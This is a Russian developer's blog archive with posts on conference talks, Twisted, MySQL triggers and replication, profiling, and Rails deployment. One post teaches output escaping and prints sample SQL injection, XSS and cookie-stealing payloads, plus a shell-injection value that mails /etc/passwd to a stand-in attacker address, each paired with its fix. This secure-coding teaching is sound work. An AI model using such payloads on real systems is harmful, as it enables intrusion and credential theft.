Эффективная команда    Опубликовано:


В апреле два раза рассказывал про "эффективную команду" на двух конференциях: в Ульяновске на Стачке и в Москве на РИТ++.

РИТ++ был организован на высоте, задавая планку качества конференций в России. По субъективным ощущением качество докладов выросло по сравнению с предыдущими годами. В Ульяновск стоило съездить только ради мемориала Ильича, очень теплая атмосфера, огромный большой зал, который, к сожалению до конца не наполнялся.

Тезисы

"Мне кажется, что то, что я делал год назад, "круче", чем то, чего я добился сегодня... День закончился, а у меня ощущение, что по сути я ничего не сделал... Наша команда увеличилась в два раза, а мы успеваем сделать меньше..." У вас уже были такие мысли? Я постараюсь найти ответ на эти вопросы в докладе.

  • Эволюция от любителя-одиночки до профессионала в большой компании.
  • Связь размера команды и эффективности ее работы. В чем роль процесса организации разработки?
  • Взаимодействие разработчиков, тестировщиков, отдела эксплуатации, команды создания продукта и их влияние на эффективность.
  • Как построить эффективную команду разработки?
  • Баги и эффективность.
  • Сложность создаваемого продукта, естественное и навязанное разделение на компоненты, а также другие не связанные с разработкой аспекты, влияющие на эффективность.

Предполагаемая аудитория

Разработчики, тестировщики, менеджеры проектов и другие участники создания программных продуктов.

Презентация

Презентация в формате PDF.

Видео

Запись со Стачки в Ульяновске, Большой зал, смотреть с 15:40.

Comments

Пример использования guppy/heapy    Опубликовано:


Guppy - классный профилировщик памяти для Python. К сожалению, им довольно сложно пользоваться, а документация оставляет желать лучшего. Один из разработчиков pkgcore написал отличную статью об использовании Guppy, которая располагалась по адресу: http://www.pkgcore.org/trac/pkgcore/doc/dev-notes/heapy.rst. Статья больше недоступна, я нашел исходник на bitbucket и превратил в PDF/HTML для простоты использования:

Comments

Не забудь сделать escape!    Опубликовано:


Когда я только начинал программировать в web, правильно сделать escape данных было непростой задачей: никаких хороших библиотек не было или приходилось писать что-то свое, при этом на каждом шагу не забывая поставить нужный escape. Сегодня отличные библиотеки, такие как Ruby on Rails, позволяют "расслабиться" и забыть о том, что такое escaping (по крайней мере до какой-то степени). Не смотря на это, все еще необходимо понимать, что такое escaping, зачем он нужен, когда и какой.

Отсутствие правильного escaping (впрочем, как и избыточный и неуместный escaping) приводит к ошибкам и уязвимостям (проблемам безопасности) в web-приложениях. Обычно уязвимость состоит в том, что приложение получает данные из различных внешних источников (от пользователя, из других приложений), эти данные приложение вставляет строчку, которая впоследствие будет обработана третьей системой (базой данных, браузером, интерпретатором и т.п.) При этом при передаче особым образом подготовленных данных удается совершить действие, которое не должно было произойти.

SQL

Типичная уязвимость: SQL Injection.

Пример кода (авторизация по логину и паролю):

<?php runQuery("SELECT id FROM users WHERE login='$login' AND password='$password'");

Если значения переменных $login и $password получены от пользователя (например, через форму авторизации), можно в поле password ввести значение вида: ' OR '' = ', тогда после подстановки получится такой запрос:

SELECT id FROM users WHERE login='login' AND password='' OR '' = ''

Условие WHERE всегда истинно, для любой строчки БД. В зависимости от вида запроса, способа авторизации такое поведение приведет к возможности авторизации, не зная пароля.

Проблема состоит в том, что при прямой подстановке значения переменной $password мы смогли изменить смысл исходного запроса.

Что делать (в порядке от плохого к хорошему):

  • использовать функцию, которая осуществляет escaping, причем специфичный для конкретной БД (так как синтаксис SQL-запросов может отличаться от одной БД к другой (в конечном итоге не очень хороший способ, так как однажды забытая функция escape ведет к потенциальной уязвимости); например, для PHP/MySQL: mysql_real_escape_string.
  • использовать синтаксис SQL с параметрами (placeholderами), в этом случае значение не подставляется в строку SQL-запроса, а передается отдельно как значение соответствующего типа; пример для PHP/PDO: PDOStatement->bindValue.
  • использовать ORM, которая спрячет процесс построения запросов, например для Rails: User.find_by_login_and_password(login, password).

Примечание: один из моих любимых вопросов на собеседовании - "SQL injection и как его избежать". В 50% случаев я слышу про то, что надо фильтровать пользовательские данные. Это не может быть универсальным способом! Пользователь может совершенно разумно хотеть написать одинарную кавычку в том текстовом поле, значение которого будет передано вашему приложению. Валидация или фильтрация данных - дополнительная возможность, которая происходит на уровне модели вашего приложения, но escaping происходит на уровне, уже непосредственно взаимодействующем с БД.

HTML

Типичная уязвимость: XSS, типичные exploitы.

В разметке HTML есть некоторое количество символов, которые имеют особый смысл: &"'. Проблема возникает, когда в текст (между элементами HTML) попадают данные, которые содержат мета-символы HTML, перечисленные выше.

Пример (PHP):

<span class="author"><?= $user->nickname ?></span>

Если в качестве $user->nickname пользователь введет:

<script>alert("hi!")</script>

То все посетители сайта, которые посещают страницу, содержащую вышеприведенный код, получат окошко c "hi!".

Должно быть так (htmlspecialchars осуществляет замены вида ">" -> "&gt;" и т.п.):

<span class="author"><?= htmlspecialchars($user->nickname) ?></span>

Необходимо отметить, что решения из разряда "фильтрации", описанные в примечании к SQL-escape, не всегда работают по тем же самым причинам. Типичный поток данных для данной уязвимости - пользователь (например, ввод в форме) -> БД -> вывод на страницу в HTML. При этом HTML escaping должен происходить при выводе данных, а не при записи в БД, т.к. данные в БД могут использоваться и для вывода в другие форматы (например, PDF).

Второй разновидностью данной проблемы является динамическая генерация HTML в контексте страницы, например, с помощью jQuery:

$('#nickname').update('<span>' + data['nickname'] + '</span>');

Должно быть так:

$('#nickname').update($('<span>').text(data['nickname']));

Фукнция text в отличие от update изменяет только текстовые узлы DOM-дерева и не интерпретирует (добавляет "как есть") любую HTML-разметку.

Как избежать подобных проблем:

  • Шаблонизатор на серверной стороне должен по умолчанию делать HTML escaping при подстановке данных в шаблон, т.к. чаще всего нужно делать escape, а не наоборот. Не нужен escaping только при вставке готовых кусков HTML-кода (например, результата работы другого шаблона).
  • При построении DOM-дерева в JavaScript не используйте куски HTML кода, лучше стройте DOM-дерево из отдельных элементов (как показано выше). Можно воспользоваться JavaScript-шаблонизатором с теми же требованиями, что и для серверного решения.

JavaScript

Типичная уязвимость: XSS.

Не менее часто в сегодняшних сложных web-приложениях необходимо передать данные с серверной части в JavaScript-код через HTML страницу. Для этого чаще всего генерируется в шаблоне такой JavaScript-код:

<script type="text/javascript">
  var user = '<?=$username?>';
</script></pre>

Теперь представим, что будет, если я в качестве $username напишу '+alert(document.cookies) + '. Нехорошо получается? Ответ простой - сегодня все языки программирования поддерживают возможность преобразования данных в JSON. А это как раз тот вид escape, который нам нужен! Причем у нас появляется передавать в JavaScript сложные данные (массивы, объекты), а также свободно обрабатывать случаи null и т.п.:

:javascript
  var user = #{@user.name.to_json};

(Кавычки вокруг строки уже указывать не нужно).

Как избежать: преобразуйте данные в JSON перед вставкой в JavaScript-код.

URL

URL - это тоже далеко не такая простая вещь, как кажется на самом деле. В URL используется множество символов, которые имеют особый смысл: ?&=/. Чаще всего проблема возникает при построении URL динамически, а при этом в качестве части URL необходимо использовать переданные пользователем данные. Пусть, например, нам надо построить URL страницы поиска для ссылки с тега какого-то объекта:

<?php "http://example.com/search/?q=" . $tag->name

Если ограничений особенно жестких на имя тега нет, мы можем получить несколько другой URL, чем мы планировали. Например, добавить еще один параметр через &val=xxx в имени тэга. В результате, пользователь, кликнувший по ссылке на такой тэг в списке тэгов может попасть совсем не на страницу тэга, а на другую страницу сайта (результат будет зависеть во многом от схемы формирования ссылок).

Как избежать: используйте urlencode-подобные функции при формировании компонентов URL, или, еще лучше: используйте "сборщики ссылок", которые отдельно принимают схему протокола, имя хоста, URI, GET-параметры и т.п. Пример - link_to в Rails.

Shell

Типичная уязвимость: получение shell-доступа к удаленному серверу.

При выполнении команд в ответ на запрос с использованием параметров, переданных клиентом (это могут быть как строки, так и, например, имена файлов), можно использовать различные способы запуска команд. Одним из таких способов является команда system или ее различные варианты:

<?php $image = $_GET['image'];

$result = system("/usr/bin/process_image '$image'");

В данный код в качестве значения переменной $image можно передать, например, следующее:

'; (cat /etc/passwd | mail cool@hacker.org); echo '

В чем здесь проблема?

  1. Функция system и ей подобные запускают командный интерпретатор (например, bash), возможности которого гораздо больше, чем требуется нам.
  2. Мы не выполняем корректный escaping параметров, чтобы $image оказался в точности одним параметром командной строки.

Как избежать:

  1. Использовать функции, которые запускают внешний процесс, не прибегая к помощи shell: они обычно принимают отдельно полный путь к исполняемому файлу и массив аргументов. Проблема отпадает сама собой.
  2. Использовать функцию escapeshellarg и ей подобные, которая гарантирует, что внутри параметра все специальные символы будут экранированы:
<?php $image = $_GET['image'];

$result = system("/usr/bin/process_image ".escapeshellarg($image));

Comments

UDF в MySQL, json или то, как забрать обновления данных из БД    Опубликовано:


Иногда необходимо забирать данные из БД MySQL в режиме реального времени во внешнюю систему, которая никак не связана с MySQL. Существует множество возможных решений, например, можно реализовать "слейва" MySQL, который бы хранил полученные данные во внешней системе.

Одно из возможных решений - сделать "выгрузку" данных из MySQL с помощью UDF (User Defined Functions) и триггеров. Для этого необходимо поставить слейв MySQL, на котором уже повесить на интересующие таблицы триггеры, которые с помощью UDF будут выгружать поток изменений таблиц во внешнюю систему. Слейв необходим, т.к. если триггеры поставить на мастере, то в случае отката транзакции действия, уже сделанные триггерами, откатить не получится, а на слейв попадают только зафиксированные транзакции. Второе,чтобы триггеры работали на слейве, тип репликации должен быть выставлен на STATEMENT-based.

Порывшись в одном интересном архиве UDF для MySQL я нашел несколько функций, которые мне подошли:

  • преобразование строки MySQL в json;
  • интерфейс с memcached.

В результате получился следующий план действий: данные модифицируются на мастере, реплицируются на слейв с помощью STATEMENT-репликации. В процессе репликации на слейве запускаются триггеры, формируют с помощью UDF пакет обновлений в JSON, и передают его во внешнюю очередь (memcacheq) по memcached-протоколу. Конечно, это не единственный возможный способ, но все UDF уже были почти готовы. После доделывания напильником UDF получился вполне стабильно работающий вариант.

Триггеры выглядят примерно следующим образом:

CREATE FUNCTION kick_photos (row_id INT) RETURNS INT
BEGIN
    SELECT memc_set('queue_db', (json_object('insert' AS action, 'photos' AS table_name, photos.id AS id, json_members('data', json_object(photos.user_id AS `user_id`,photos.width AS `width`,photos.created_at AS `created_at`,photos.filename AS `filename`,photos.parent_id AS `parent_id`,photos.content_type AS `content_type`,photos.height AS `height`,photos.thumbnail AS `thumbnail`,photos.size AS `size`))))) INTO @dummy FROM photos WHERE id = row_id;
RETURN @dummy;
END


CREATE TRIGGER photos_INSERT AFTER INSERT ON photos FOR EACH ROW
    SET @dummy = memc_set('queue_db', (json_object('insert' AS action, 'photos' AS table_name, NEW.id AS id, json_members('data', json_object(NEW.user_id AS `user_id`,NEW.parent_id AS `parent_id`,NEW.created_at AS `created_at`,NEW.filename AS `filename`,NEW.width AS `width`,NEW.content_type AS `content_type`,NEW.height AS `height`,NEW.thumbnail AS `thumbnail`,NEW.size AS `size`)))));


CREATE TRIGGER photos_DELETE BEFORE DELETE ON photos FOR EACH ROW
 SET @dummy = memc_set('queue_db', (json_object('delete' AS action, 'photos' AS table_name, OLD.id AS id, json_members('data', json_object(OLD.user_id AS `user_id`,OLD.parent_id AS `parent_id`,OLD.created_at AS `created_at`,OLD.filename AS `filename`,OLD.width AS `width`,OLD.content_type AS `content_type`,OLD.height AS `height`,OLD.thumbnail AS `thumbnail`,OLD.size AS `size`)))));


CREATE TRIGGER photos_UPDATE AFTER UPDATE ON photos FOR EACH ROW
BEGIN
    IF json_object(OLD.user_id AS `user_id`,OLD.parent_id AS `parent_id`,OLD.created_at AS `created_at`,OLD.filename AS `filename`,OLD.width AS `width`,OLD.content_type AS `content_type`,OLD.height AS `height`,OLD.thumbnail AS `thumbnail`,OLD.size AS `size`) <> json_object(NEW.user_id AS `user_id`,NEW.parent_id AS `parent_id`,NEW.created_at AS `created_at`,NEW.filename AS `filename`,NEW.width AS `width`,NEW.content_type AS `content_type`,NEW.height AS `height`,NEW.thumbnail AS `thumbnail`,NEW.size AS `size`) THEN
        SET @dummy = memc_set('queue_db', (json_object('update' AS action, 'photos' AS table_name, OLD.id AS id, json_members('new', json_object(NEW.user_id AS `user_id`,NEW.parent_id AS `parent_id`,NEW.created_at AS `created_at`,NEW.filename AS `filename`,NEW.width AS `width`,NEW.content_type AS `content_type`,NEW.height AS `height`,NEW.thumbnail AS `thumbnail`,NEW.size AS `size`)), json_members('old', json_object(OLD.user_id AS `user_id`,OLD.parent_id AS `parent_id`,OLD.created_at AS `created_at`,OLD.filename AS `filename`,OLD.width AS `width`,OLD.content_type AS `content_type`,OLD.height AS `height`,OLD.thumbnail AS `thumbnail`,OLD.size AS `size`)))));
    END IF;
END;

Комментарии:

  • функция kick_photos позволяет скопировать строчку таблицы в очередь как пакет обновления типа "вставка", может использоваться для начального наполнения внешней системы;
  • триггеры на удаление и вставку просто формируют соответствующие пакеты;
  • триггер на обновление проверяет, действительно ли в пакете произошли изменения (например, мы можем использовать не все поля в пакете);
  • необходимо учесть, что работе FOREIGN KEY CONSTRAINT триггеры не вызываются (очередной прикол MySQL), т.е., например, если при выполнении запроса на удаление из таблицы A будут по FOREIGN KEY удалятся записи из таблицы B, то в триггере на удаление из A необходимо отработать этот случай, т.к. триггеры на таблице B не будут вызваны.

Код UDF доступен на github, это - "подпиленный" код из репозитория UDF или собственные разработки:

Comments

HighLoad-2010: Приемы разработки высоконагруженных приложений на Twisted/Python    Опубликовано:


25-26 октября состоялся HighLoad-2010, конференция получилось хорошей хотя бы потому, что было мало докладов ни о чем. Неплохой уровень, особенно было приятно увидеть "профессоров" PostgreSQL.

Я выступал с докладом "Приемы разработки высоконагруженных приложений на Twisted/Python". В докладе получилась (вполне сознательно) сборная солянка из советов и приемов о том, как писать приложения на Twisted (и похожих frameworkах). Из-за большого количества разных тем не получилось углубиться ни в одну, каюсь...

Тезисы:

  1. Запуск и шедулинг многих однопоточных процессов на одном сервере.
  2. Key-value storage и приемы работы с ним.
  3. Обслуживание сотен тысяч соединений на одном сервере.
  4. HTTP-сервисы и балансировка нагрузки, локализация нагрузки.
  5. Сбор статистики, интеграция с системой мониторинга.
  6. Шина обмена сообщениями на примере AMQP.
  7. Поиск и устранение memory leak.
  8. Оптимизация по времени отклика и пропускной способности.
  9. Мифы и правда о Python как языке разработки нагруженных приложений.

Презентация:



Утащить:

  • В формате PDF
  • Модуль py-numа, который упоминался в докладе

Comments

Профайлинг Twisted-приложений    Опубликовано:


/galleries/kcachegrind.png

Часто сам забываю, как профилировать легко и быстро Twisted-приложения (с некоторым изменениями подойдет для любых Python-приложений). Кроме Twisted нам понадобится еще KCachegrind.

Запускаем наше приложение с включенным профайлингом:

twistd -n --savestats --profile=myprog.hotshot myprog

Подаем нагрузку, профайл собирается. Теперь с помощью утилиты hotshot2cg из поставки KCachegrind превращаем hotshot-профайл в calltree-профайл, который уже умеет KCachegrind "кушать".

hotshot2cg myprog.hotshot > myprog.calltree

Запускаем KCachegrind, открываем в нем полученный профайл:

kcachegrind myprog.calltree

Comments

MySQL, ROW/STATEMENT/MIXED-репликация и триггеры    Опубликовано:


Описанная особенность MySQL попалась мне на глаза слишком поздно, пишу, чтобы кто-то не напоролся на те же грабли. Начнем с начала. Итак, необходимо было отслеживать изменения MySQL-базы данных и складывать эти изменения в очередь (не в БД) для дальнейшей обработки внешней системой. Для отслеживания изменений подходят триггеры, но они активируются в процессе выполнения запросов транзакции и в случае последующего "rollback" не будут откатываться (что совершенно нормально для триггеров, влияющих только на состояние БД, т.к. состояние БД будет корректно откатываться). Поэтому необходимо выполнять триггеры только для успешных транзакций: проще всего это достигнуть с помощью репликации - на слейв передаются только запросы зафиксированных транзакций. Таким образом, мастер-БД не содержит триггеров, после репликации данные попадают на слейв, таблицы на котором обвешаны триггерами, те активируются и данные попадают в очередь. Казалось бы, все замечательно?

Однако MySQL не был бы MySQL, если бы не какие-нибудь приколы на пути. Читаем раздел 16.3.1.29 документации: триггеры на слейве выполняются только при использовании STATEMENT-based репликации, при использовании ROW-based репликации они выполняются на мастере. ROW-based репликация - одно из нововведений 5.1, при котором на слейв передаются не запросы (текст запроса), измененный в БД записи (подробнее см. раздел 16.1.2). Но это было бы еще полбеды - попробовал, увидел, что триггеры не выполняются, и пошел разбираться. Однако в MySQL придумали еще режим репликации MIXED: при этом сервер сам переключается между STATEMENT и ROW-based репликацией (я не нашел, по какому условию). Далее, в версиях MySQL от 5.1.12 до 5.1.29 режимом репликации по умолчанию выбирается как раз MIXED. Как вы уже догадываетесь, в MIXED-режиме триггеры на слейве то выполняются, то нет, при этом внешне это совершенно незаметно. Так прекрасно работавший слейв в один прекрасный день вдруг перестает поставлять обновления в очередь, хотя сам по себе слейв не отстал и содержит все данные.

Итого, несколько часов на поиск проблемы, работа по пересинхронизации данных во внешней системе... Спасибо, MySQL!

Кратко: чтобы триггеры на слейве всегда выполнялись, надо добавить в my.cnf (на мастере):

[mysqld]

binlog-format=STATEMENT

Comments

HL++ (2009): Twisted Framework    Опубликовано:


Сегодня выступал на HighLoad++ с докладом Twisted Framework - фреймворк для написания сетевых приложений в Python.

Введение

Последнее время в области web происходит смещение внимания с тяжелых application-серверов, которые тратят на обработку запроса сотни миллисекунд, а то и секунды, к более легковесным сервисам, передающим меньшие объемы данных с минимальной задержкой. Переход от генерации десятков и сотен килобайт HTML-кода в ответ на запрос к передаче изменений в данных, запакованных в JSON и измеряемых сотнями байт. В качестве примеров таких сервисов можно привести Gmail, FriendFeed, Twitter Live Search и т.п.

Для обеспечения минимальной задержки для пользователя необходимо либо поддерживать постоянное соединение (например, Adobe Flash, RTMP) или использовать технику HTTP long polling в сочетании с keep alive. Так или иначе на стороне сервера это приводит к появлению большого количества одновременных соединений (тысячи, десятки тысяч), по каждому из которых передается не такой большой объем данных. Эту ситуацию называют обычно проблемой C10k.

Для обработки соединений архитектурный выбор на стороне сервера не такой большой: процесс на соединение, нить на соединение, комбинированный вариант процесс-нити или асинхронный ввод-вывод (возможно, в сочетании с дополнительными процессами или нитями). При наличии более 10 тысяч одновременных соединений с точки зрения расхода ресурсов совершенно невозможно представить создание 10 тысяч процессов; 10 тысяч нитей также вряд ли будет разумным решением. Необходимо дополнительно учесть, что при наличии такого большого числа соединений объем работы по каждому из них относительно невелик, большинство их них простаивают в ожидании поступления новых данных. Поэтому бóльшая часть процессов или нитей будет просто находиться в состоянии ожидания, расходуя впустую системные ресурсы.

Асинхронный ввод-вывод позволяет осуществлять неблокирующийся сетевой ввод-вывод по тысячам открытых сокетов в рамках одной нити выполнения (одного процесса). Механизмы реализации в разных ОС разные, например: select(), poll(), epoll(), kqueue() и т.п. Примеры приложений, использующих асинхронный ввод-вывод:

  • nginx (используются дополнительные процессы для обслуживания задач, требующих большего объема CPU);
  • haproxy;
  • memcached;
  • и другие.

Тем не менее, асинхронный ввод-вывод не является универсальным решением: для сервера БД это вряд ли было бы хорошим способом организации обслуживания соединений, так как для обработки каждого запроса требуется большой объем дискового ввода-вывода и процессорного времени, что не позволяет это сделать в рамках одного процесса.

Twisted Framework — это обширный набор классов и модулей для реализации асинхронных сетевых приложений. Twisted Framework — это:

  • ядро, абстрагирующее все операции асинхронного ввода-вывода и использующее соответствующий механизм конкретной ОС;
  • концепция Deferred, которая позволяет реализовать в простой форме обслуживание запроса: асинхронные сетевые обращения (например, к БД, memcached), обработку ошибочных ситуаций; Deferred является аналогом обычных конструкций последовательного программирования для асинхронной модели программирования;
  • обширный набор уже реализованных сетевых протоколов: HTTP, DNS, SMTP, IMAP, memcached, Jabber, ICQ и т.д.; еще большее количество протоколов доступно в виде дополнительных модулей;
  • дополнительная инфраструктура: unit-testы с поддержкой Deferred, пулы нитей, процессов и т.д.;
  • качественная концепция разработки — полное покрытие unit-testами, строгий review любого изменения.

Основная часть доклада будет посвящена конкретным примерам приложений, реализованными с помощью Twisted — с архитектурой, конкретными параметрами производительности, приемами оптимизации, преимуществами и недостатками Twisted для решения данной задачи:

  • RTMP-сервер pyFMS, сервер вещаний сервиса Smotri.Com (сотни трансляций, десятки тысяч зрителей);
  • backend-сервер проекта MDC - хранение и обработка истории общения пользователей, хранение настроек и т.п.;
  • Qik Push Engine - сервер немедленной доставки изменений информации о видео, созданных пользователями сервиса, в том числе push-нотификация о появившихся live-стримах, масштабирование, обработка больших объемов информации.

Дополнительная информация:

Презентация

Comments

Mongrel vs. Phusion Passenger: выбор очевиден    Опубликовано:


Предыдущая конфигурация:

  • nginx (главный proxy), который раздает трафик в
  • haproxy (ради возможности балансировать по нагрузке), который распределяет нагрузку по нескольким webapp-серверам
  • с 16-ю mongrelами на каждом

Проблемы:

  1. "Утекающая" память, периодический out of memory на серверах, лечится только перезапуском mongrelов.
  2. Запросы, занимающие десятки секунд из-за неверной балансировки (в нагруженный mongrel все-таки попадает несколько "тяжелых" запросов).
  3. Сложность управления кластером монгрелов - постоянные проблемы при перезапуске, "не стартующие" mongrelы и т.п.

Новая конфигурация:

Результат:

webapp01-passenger-mongrel

Комментарий: переход на Phusion Passenger на Week 39, объем занятой памяти - это белая область на графике, растущая сверху вниз. До перехода на Passenger объем свободной памяти стремительно уменьшался, иногда доходя до нуля, после перехода остается более-менее стабильным. Использование CPU осталось на прежнем уровне (как и ожидалось).

После перехода исчезли запросы, которые по непонятным причинам занимали десятки секунд - время выполнения коррелирует со сложностью запроса.

Так что если вы еще не переключились, мы идем к вам :)

P.S. Отдельное спасибо glebpom за подсказку.

Comments

HL++2009: Twisted Framework - фреймворк для написания сетевых приложений в Python    Опубликовано:


highload

На HighLoad++-2009 буду выступать с докладом Twisted Framework - фреймворк для написания сетевых приложений в Python. Конференция будет проходит 12-13 октября 2009 г. в Инфопространстве. Приглашаю всех желающих!

Тезисы доклада:

  1. Архитектура сетевых сервисов, нити, процессы, асинхронный ввод-вывод.
  2. Тенденции в изменении структуры нагрузки на сетевые сервисы: AJAX, Comet/BOSH, клиент-серверная архитектура, проблема 10k.
  3. Асинхронный ввод-вывод и параллельное программирование: достоинства и недостатки. Поддержка локального контекста, deadlock, lock contention, starvation, масштабирование на многоядерную архитектуру и т.д.
  4. Twisted Framework с высоты птичьего полета.
  5. Аналоги Twisted в других языках программирования: Ruby — EventMachine, Perl — POE.
  6. Центральная концепция Twisted: Deferred — как сохранить контекст выполнения в однопоточном коде с асинхронным вводом-выводом.
  7. Аналогии между последовательным кодом и асинхронным кодом с использованием Deferred.
  8. Twisted и использование нитей: модель worker, «оборачивание» legacy кода.
  9. Реальные примеры Twisted-приложений, цифры, факты, архитектурные решения, преимущества и недостатки:
    • pyFMS — сервер RTMP-вещаний, нагрузка, оптимизация Python-кода;
    • MDC-сервер, масштабирование;
    • Qik Push Engine, обслуживание тысяч клиентов, тестирование клиентов.
  10. Качество кода Twisted, модель разработки, перспективы развития проекта, экосистема Twisted. Что может Twisted дать моему проекту?

Comments

Contents © 2013 Андрей - Powered by Nikola